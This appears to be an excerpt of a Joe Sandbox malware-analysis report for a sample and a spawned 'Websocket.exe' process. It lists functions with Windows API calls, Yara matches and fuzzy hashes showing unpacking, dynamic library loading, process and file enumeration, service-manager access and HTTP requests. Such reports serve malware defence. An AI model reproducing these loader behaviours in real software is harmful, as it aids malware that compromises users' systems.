Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: Process$CloseHandleOpen$TerminateToken
String ID: SYSTEM
API String ID: 1755933052-968218125
Opcode ID: a96fa1f771f5afe9f1f92496620a833f797012d06dd2d3e5e1056d7510229cf3
Instruction ID: 8e2cb8a182e1328e513b3a34ec3bf5da011a535263a81edc7ae68b639948cf14
Opcode Fuzzy Hash: a96fa1f771f5afe9f1f92496620a833f797012d06dd2d3e5e1056d7510229cf3
Instruction Fuzzy Hash: C2F06275A0131067D330AB16AC0DFDB3FA8DBC9B10F418529F959E3282DA38880186AA

Function 020E21A0 Relevance: 6.2, APIs: 4, Instructions: 182COMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(00000000,00000014), ref: 020E21F9
SetLastError.KERNEL32(0000007E), ref: 020E223B

Memory Dump Source

Source File: 00000000.00000002.2389523241.00000000020E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20e1000_ExeFile (356).jbxd

Similarity

API ID: ErrorHugeLastRead
String ID:
API String ID: 3239643929-0
Opcode ID: 90f669aceeb3734c1bb66e06c95fe2cd4e1c493497a40b36449bdfc671141d82
Instruction ID: 760a9aa74f39a7e80903f3dd570bdf52e43b904cb3bd010d02fc78a68305e8e1
Opcode Fuzzy Hash: 90f669aceeb3734c1bb66e06c95fe2cd4e1c493497a40b36449bdfc671141d82
Instruction Fuzzy Hash: 7081BA74A00209EFDB04CF94C890BADBBB5FF88314F148198E90AAB355C774AA81DF90

Function 0041586A Relevance: 6.1, APIs: 4, Instructions: 103COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 0041589E
__isleadbyte_l.LIBCMT ref: 004158D1
MultiByteToWideChar.KERNEL32(00000080,00000009,00001000,?,00000000,00000000,?,?,?), ref: 00415902
MultiByteToWideChar.KERNEL32(00000080,00000009,00001000,00000001,00000000,00000000,?,?,?), ref: 00415970

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: c0eb2632c6278a3be84097047c3844163cff7a0479a0ebec46df9903c1e59601
Instruction ID: 1bfa8a3c802f93689ab76b22000e8837c631d4e9b9b80ec41d52cc0f2dacea33
Opcode Fuzzy Hash: c0eb2632c6278a3be84097047c3844163cff7a0479a0ebec46df9903c1e59601
Instruction Fuzzy Hash: CE31D271A10646EFDB20EF64C880AEE3BB5FF81320F14856AE4659B2A1D334DDD0DB59

Function 00416787 Relevance: 6.1, APIs: 4, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 004167A8

Part of subcall function 0041025B: __FF_MSGBANNER.LIBCMT ref: 00410274
Part of subcall function 0041025B: __NMSG_WRITE.LIBCMT ref: 0041027B
Part of subcall function 0041025B: RtlAllocateHeap.NTDLL(00000000,00000001,00000001,00000000,00000000,?,00413CED,?,00000001,?,?,004147E0,00000018,0041BE58,0000000C,00414870), ref: 004102A0

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 291dd56cd004a0e554d27551375521f7d94099034c9c239543eeae30dd5861c5
Instruction ID: 3c08702fd25ada2266926da53e5058be595d777b16bfef6a83bfe969bb48a588
Opcode Fuzzy Hash: 291dd56cd004a0e554d27551375521f7d94099034c9c239543eeae30dd5861c5
Instruction Fuzzy Hash: 6211EB32501611ABDB213FB5BC15ADA3794AF44378B21843BF869962A0DB3DCCC1869C

Function 020E2430 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,00000040,00000004,?), ref: 020E2468
VirtualProtect.KERNEL32(00000000,000000F8,00000004,?), ref: 020E24B2

Strings

@, xrefs: 020E2453

Memory Dump Source

Source File: 00000000.00000002.2389523241.00000000020E1000.00000020.00001000.00020000.00000000.sdmp, Offset: 020E1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20e1000_ExeFile (356).jbxd

Similarity

API ID: ProtectVirtual
String ID: @
API String ID: 544645111-2766056989
Opcode ID: fabc3a80ff7879334b2c9a73ae1c752efeac9b6b551766d6640930bd000344aa
Instruction ID: 8e90ad59043f76ee3685f25b3d2d8ee087f131de6606b73ad576d6c1b2724691
Opcode Fuzzy Hash: fabc3a80ff7879334b2c9a73ae1c752efeac9b6b551766d6640930bd000344aa
Instruction Fuzzy Hash: E821B9B0E04209EFDF54CF94C984BAEBBB9BF44304F148599ED06AB245C774AB80EB55

Function 00412F0A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 004106ED: __getptd.LIBCMT ref: 004106F3
Part of subcall function 004106ED: __getptd.LIBCMT ref: 00410703

__getptd.LIBCMT ref: 00412F19

Part of subcall function 0041392E: __getptd_noexit.LIBCMT ref: 00413931
Part of subcall function 0041392E: __amsg_exit.LIBCMT ref: 0041393E

__getptd.LIBCMT ref: 00412F27

Strings

csm, xrefs: 00412F35

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: e3664caf934b3eefaaa5df4d7cacef43b1cf49a14ce4952649e901bdecbea5d6
Instruction ID: 69b6639a9ef3a36a169a6a5565f12a55bffb05f741e2618f410494396190d148
Opcode Fuzzy Hash: e3664caf934b3eefaaa5df4d7cacef43b1cf49a14ce4952649e901bdecbea5d6
Instruction Fuzzy Hash: 80014B348002058FCF34DF26D6406EEB3B5AF20311F14462FE44496359DBB89AE6EF49

Function 0040E7B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

InitCommonControlsEx.COMCTL32 ref: 0040E7BF
CreateWindowExW.USER32(00000000,SysListView32,00419450,50010201,0000000A,00000028,00000190,000001F4,?,00000000,00000000,00000000), ref: 0040E7F4

Strings

SysListView32, xrefs: 0040E7ED

Memory Dump Source

Source File: 00000000.00000002.2389041717.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389028731.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389059623.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389074372.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000000.00000002.2389089341.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ExeFile (356).jbxd

Similarity

API ID: CommonControlsCreateInitWindow
String ID: SysListView32
API String ID: 2646078016-78025650
Opcode ID: f7c3c60ebf2b29c8cd91b1213f0e9bf28fa0210beb0f04a3fb4def70d8a6e988
Instruction ID: f3d3e535e189fff61838196dd880c7fe0caa92239aab9ee536b101cdf5704626
Opcode Fuzzy Hash: f7c3c60ebf2b29c8cd91b1213f0e9bf28fa0210beb0f04a3fb4def70d8a6e988
Instruction Fuzzy Hash: 99E04F747843007FF6509B40DC5BF963764A788F05F50C024F649A51C0D6F46885866A

Analysis Process: Websocket.exePID: 6716, Parent PID: 6640COMMON

Execution Graph

Execution Coverage:	4%
Dynamic/Decrypted Code Coverage:	76.1%
Signature Coverage:	3.6%
Total number of Nodes:	477
Total number of Limit Nodes:	55

Executed Functions

Function 0040FA80 Relevance: 63.2, APIs: 23, Strings: 13, Instructions: 250
windowregistrythreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0040FA8E
LoadIconW.USER32 ref: 0040FAD2
LoadCursorW.USER32(00000000,00007F00), ref: 0040FADF
LoadIconW.USER32 ref: 0040FB0B
CreateThread.KERNELBASE(00000000,00000000,Function_0000ECC0,00000000,00000002,?), ref: 0040FB23
RegisterClassExW.USER32(?), ref: 0040FB42
MessageBoxW.USER32(00000000,Call to RegisterClassEx failed!,Create Process,00000000), ref: 0040FB5B
CreateWindowExW.USER32(00000000,win32app,Windows Process Manager,00CF0000,80000000,80000000,000001B8,00000258,00000000,00000000,?,00000000), ref: 0040FBA4
MessageBoxW.USER32(00000000,Call to CreateWindow failed!,Win32 Guided Tour,00000000), ref: 0040FBBC

Strings

Call to RegisterClassEx failed!, xrefs: 0040FB54
Run, xrefs: 0040FB29
Create Process, xrefs: 0040FB4F, 0040FBE6
Call to CreateWindow failed!, xrefs: 0040FBB6
win32app, xrefs: 0040FB03, 0040FB97, 0040FCA0
Windows Process Manager, xrefs: 0040FB92, 0040FC9B
0, xrefs: 0040FAA6
BUTTON, xrefs: 0040FBEB, 0040FC1F, 0040FC52, 0040FD03, 0040FD30
Win32 Guided Tour, xrefs: 0040FBB1
Kill Process, xrefs: 0040FC1A
View All Processes, xrefs: 0040FC4D
Cancel, xrefs: 0040FD2B
Edit, xrefs: 0040FCCA

Memory Dump Source

Source File: 00000002.00000002.3637265687.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3637234596.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637302044.0000000000419000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637346575.000000000041D000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.3637382990.0000000000422000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Websocket.jbxd

Similarity

API ID: Load$CreateIconMessage$ClassCursorRegisterThreadWindow_memset
String ID: 0$BUTTON$Call to CreateWindow failed!$Call to RegisterClassEx failed!$Cancel$Create Process$Edit$Kill Process$Run$View All Processes$Win32 Guided Tour$Windows Process Manager$win32app
API String ID: 713769167-1192827546
Opcode ID: 952da5468408a189c14926ca3cf5cae3a85ce14d76ca3222c90a6cd4c0bb2d80
Instruction ID: d065e50bf912697da28d798f56a1b3ea1efd5d731bf56130ae663ba60a7ce2a6
Opcode Fuzzy Hash: 952da5468408a189c14926ca3cf5cae3a85ce14d76ca3222c90a6cd4c0bb2d80
Instruction Fuzzy Hash: 9A8120B1BD4300BAF220DB50DC56FDA37A8AB98F05F10842AF7017A2D0D7F969458B5E

Function 00731030 Relevance: 18.4, APIs: 12, Instructions: 362
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(00734054,00734040), ref: 00731047
GetProcAddress.KERNEL32(00000000), ref: 0073104E

Part of subcall function 00731B30: SetLastError.KERNEL32(0000000D,?,00731070,?,00000040), ref: 00731B3D

SetLastError.KERNEL32(000000C1), ref: 00731096

Memory Dump Source

Source File: 00000002.00000002.3637741644.0000000000731000.00000020.00001000.00020000.00000000.sdmp, Offset: 00731000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_731000_Websocket.jbxd

Similarity

API ID: ErrorLast$AddressLibraryLoadProc
String ID:
API String ID: 1866314245-0
Opcode ID: 9509a99d816b47babac5a904169f67d270672e3d59b76580bac1085bbdbd1315
Instruction ID: e615c680cb785a787bd2e93cf47587405d15fa82212a8800eb6a9e786ccb4839
Opcode Fuzzy Hash: 9509a99d816b47babac5a904169f67d270672e3d59b76580bac1085bbdbd1315
Instruction Fuzzy Hash: 96F1FCB5E00209EFEB04CF94D984AAEB7B1BF48305F608558E915AB352D739EE41DB90

Function 006180D0 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 169
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,0100754F,00000000), ref: 00618218

Strings

DR, xrefs: 00618108
@1v, xrefs: 006181D3, 006181F5
m, xrefs: 00618100
.v, xrefs: 006182B6, 006182E1
Ou, xrefs: 00618190

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID: @1v$DR$Ou$m$.v
API String ID: 823142352-4143615534
Opcode ID: 8daf6be44b3de00673a1987c71c6c6435f5574d234eaf9a35b7b999e5a918531
Instruction ID: f1b74c4d0477e5305279413d6bd04c304a3b4ce1f699152a9111f1636913406b
Opcode Fuzzy Hash: 8daf6be44b3de00673a1987c71c6c6435f5574d234eaf9a35b7b999e5a918531
Instruction Fuzzy Hash: 3B61A132A087019FD754DF68C845AAFB6E2ABD4714F08890DF495D7390DB78CA498BC2

Function 006138B0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 189
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,33A6B453,00000001,00000000), ref: 00613AC4
FindNextFileW.KERNELBASE(?,?,?,33A6B453,00000001,00000000), ref: 00613B1B
FindClose.KERNELBASE(?), ref: 00613B55

Strings

., xrefs: 0061390D
*LO, xrefs: 00613AA6

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNext
String ID: *LO$.
API String ID: 3541575487-2132576683
Opcode ID: 70f6ffdf43d36449ec67b17cac167a64cc42f66f9d15a8deded4e52a07b2c987
Instruction ID: 3e33dc603540513c9bc46e374b0bf59f2070cbbc6b840566a7ad50261fb7d1b6
Opcode Fuzzy Hash: 70f6ffdf43d36449ec67b17cac167a64cc42f66f9d15a8deded4e52a07b2c987
Instruction Fuzzy Hash: A75106B1B0426047CB64AB749841AFB76A79F94740F0C881FF447C7391EA75CF868752

Function 006125A0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 228
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptDecodeObjectEx.CRYPT32(00010001,00000013,?,?,00008000,00000000,?,?,?), ref: 0061282F

Strings

=t, xrefs: 0061273E
=t, xrefs: 006128B8

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: CryptDecodeObject
String ID: =t$=t
API String ID: 1207547050-3586649727
Opcode ID: bd75d7b808dc285b133c541a8bdda49259c67dd08f7f0eb9d1f215ba852772d5
Instruction ID: d45530a260f897e640b3db61fa746f7c4ff335afc8fa19c11a46701aa3468505
Opcode Fuzzy Hash: bd75d7b808dc285b133c541a8bdda49259c67dd08f7f0eb9d1f215ba852772d5
Instruction Fuzzy Hash: 57710D71B002225BDB54AB68DCA6BEA76536B94700F0D802EFD46DF3A0EA21DCD187C5

Function 006152E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(33A6B453,33A6B453), ref: 006153C0

Strings

5sF, xrefs: 0061530B
5sF, xrefs: 00615378

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: 5sF$5sF
API String ID: 1721193555-3318035110
Opcode ID: 3c361d5d48ee2b70d86ceb0d3beb8b1871d67246965052e6b8acf70f91ded45d
Instruction ID: cfd969a01ca7cd37c02b4fbe947eb5db7af8f71d02253723da4e2be1f0590a97
Opcode Fuzzy Hash: 3c361d5d48ee2b70d86ceb0d3beb8b1871d67246965052e6b8acf70f91ded45d
Instruction Fuzzy Hash: 8821D472A00650CBCB68866899816EEF6D39BC4384F5C552BF567CB360F678CEC15387

Function 00612B60 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 311
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetConnectW.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00612CB4
HttpSendRequestW.WININET(00000000,?,000000FF,00000000,00000000), ref: 00612D34
ObtainUserAgentString.URLMON(00000000,00000000,00000200), ref: 00612DB7
InternetOpenW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00612E19
InternetCloseHandle.WININET(?), ref: 00612EC9

Strings

'aR, xrefs: 00612C21

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: Internet$AgentCloseConnectHandleHttpObtainOpenRequestSendStringUser
String ID: 'aR
API String ID: 1741791824-1895538066
Opcode ID: 860bacdee53bdf97e4bfc17b82b5eb497c59e064d185f9ac85d0c77df9b88045
Instruction ID: 8e2e54b4294c2f8b4c886945227f95a068d2d7f983647ab479f808cbfc4ffeac
Opcode Fuzzy Hash: 860bacdee53bdf97e4bfc17b82b5eb497c59e064d185f9ac85d0c77df9b88045
Instruction Fuzzy Hash: 76B1E330A043124BDB54AF659C617EAB6E7AFC8700F5C482EF956DB3A0EA70CD9187C5

Function 00614B90 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 102
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?), ref: 00614C02
Process32FirstW.KERNEL32(?,0000022C), ref: 00614C60
FindCloseChangeNotification.KERNELBASE(?,?,?,?), ref: 00614CED

Strings

.v, xrefs: 00614CE7
@UJ), xrefs: 00614CA9

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: ChangeCloseCreateFindFirstNotificationProcess32SnapshotToolhelp32
String ID: @UJ)$.v
API String ID: 692674288-3001562398
Opcode ID: 93fab4b0329c7f86d1acd158facd3a1826d1d1c2ea7203a3150073a857f33c43
Instruction ID: 4c161251708126898c93b84d320cbb5e798c5366a9a25ffae6e2b0f51e23f35c
Opcode Fuzzy Hash: 93fab4b0329c7f86d1acd158facd3a1826d1d1c2ea7203a3150073a857f33c43
Instruction Fuzzy Hash: C4313F71B1431157D7645AB8AC966FE32D79B80710B1C841BF816DB390ED38CDC687D1

Function 00619530 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 201
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,000F003F,?,33A6B453,?,?), ref: 006197A0

Strings

p^6w, xrefs: 006196A5, 006196C4
y7@+, xrefs: 006197DF

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: ManagerOpen
String ID: p^6w$y7@+
API String ID: 1889721586-3557144604
Opcode ID: 2f80413df1c524e5ab51c22356e848ec4d8529ca363f28f136bda6e15b75c5da
Instruction ID: 49e09286e40e7d4b52b9e2b6658c01c9a2fd456c07814ee67471228fd3742618
Opcode Fuzzy Hash: 2f80413df1c524e5ab51c22356e848ec4d8529ca363f28f136bda6e15b75c5da
Instruction Fuzzy Hash: 2671A3707043019BD758DF38A9657EB76A7AB90B00F1C482EF146DB391EA30DD89C7A6

Function 00619860 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 149
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstChangeNotificationW.KERNELBASE(?,00000000,00000001), ref: 006198DB

Strings

Ma:, xrefs: 006199C9
Ma:, xrefs: 006199B4

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: ChangeFindFirstNotification
String ID: Ma:$Ma:
API String ID: 1065410024-930586552
Opcode ID: cdb0ab4be74b081fc242a6d8bb531fcfca3e7019507579728da780b479ebc805
Instruction ID: 9c9937a3955bf0c5794b9536f45e1f9d6e905c08653cfd3522dba7bb3295c9e2
Opcode Fuzzy Hash: cdb0ab4be74b081fc242a6d8bb531fcfca3e7019507579728da780b479ebc805
Instruction Fuzzy Hash: 8A418770B003109BDB98EF7558616FA3697AF94700B0C482FF556CB390EA34CD8597A6

Function 00616D70 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 109
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00616CD0: LoadLibraryW.KERNELBASE(00000000,?,33A6B453,00616F05,?,33A6B453,006168AC), ref: 00616D00

LoadLibraryW.KERNELBASE(00000000,?,33A6B453,006168AC), ref: 00616E87

Strings

;g+, xrefs: 00616DF4
;g+, xrefs: 00616E21

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: ;g+$;g+
API String ID: 1029625771-3974242271
Opcode ID: d3c72ccec23f4893d261341fc1dff00a732c1bc871969f1e7482b796101b9526
Instruction ID: c9ce0f1ec563a7ac194f30829bbc572a8be8fc4ea53d4688ecff0f80c278f163
Opcode Fuzzy Hash: d3c72ccec23f4893d261341fc1dff00a732c1bc871969f1e7482b796101b9526
Instruction Fuzzy Hash: 1631831CB0922087DAA8AE7DE8556FE25579F84300B2D943BF546CB3A0D934CCC297D6

Function 00615B40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00000008,00040000), ref: 00615B9B
RtlFreeHeap.NTDLL(00000000,00000000,00000000), ref: 00615C0A

Strings

p^6w, xrefs: 00615B6F, 00615B8E

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: Heap$AllocateFree
String ID: p^6w
API String ID: 2488874121-1797523920
Opcode ID: d2369ef7701e9273cc4d041dae5391489af07f323d1920c69017d3ebeea5d0fc
Instruction ID: e0fed74b7f3156526858a4fb734428429dccac94411a91e9041c7c5b70f91df5
Opcode Fuzzy Hash: d2369ef7701e9273cc4d041dae5391489af07f323d1920c69017d3ebeea5d0fc
Instruction Fuzzy Hash: C6118470F007105BDB94AB796C51ADA76D7AFC8750B0C843FF506CB391EA24CD424795

Function 0060002D Relevance: 4.9, APIs: 3, Instructions: 387
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,00600005), ref: 006000E9
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000004,?,?,?,00600005), ref: 00600111

Memory Dump Source

Source File: 00000002.00000002.3637503164.0000000000600000.00000040.00001000.00020000.00000000.sdmp, Offset: 00600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_600000_Websocket.jbxd

Yara matches

Similarity

API ID: AllocInfoNativeSystemVirtual
String ID:
API String ID: 2032221330-0
Opcode ID: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction ID: 6a056932634aca41250867a94fda34c42f8ef56db5c7f801923ae1e46585df77
Opcode Fuzzy Hash: 460d81c489b0c162692d77f33f70033fe6d40d0b28a700ce4a73fb1871822586
Instruction Fuzzy Hash: 8FD1E171A843069FE718CF59C8807ABB3E2FF84308F18452DE8958B381E774E945CB91

Function 00619A90 Relevance: 4.6, APIs: 3, Instructions: 95
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,?,00000104), ref: 00619B3A
QueryFullProcessImageNameW.KERNELBASE(00000000), ref: 00619B3D
lstrcmpiW.KERNELBASE(?,?,0DFA437B,?), ref: 00619BCE

Memory Dump Source

Source File: 00000002.00000002.3637575010.0000000000611000.00000020.00001000.00020000.00000000.sdmp, Offset: 00610000, based on PE: true

Associated: 00000002.00000002.3637547977.0000000000610000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.3637617739.000000000061D000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_610000_Websocket.jbxd

Yara matches

Similarity

API ID: Process$CurrentFullImageNameQuerylstrcmpi
String ID:
API String ID: 3605714105-0
Opcode ID: 970441976f24fdcca0b2e0f19bc1c3d5d5eda8d79af472907177c8c55f135b00
Instruction ID: 4699aacc24ed5ba9a62859704b2fb74570914d950689084723e6fcac961e89ee
Opcode Fuzzy Hash: 970441976f24fdcca0b2e0f19bc1c3d5d5eda8d79af472907177c8c55f135b00
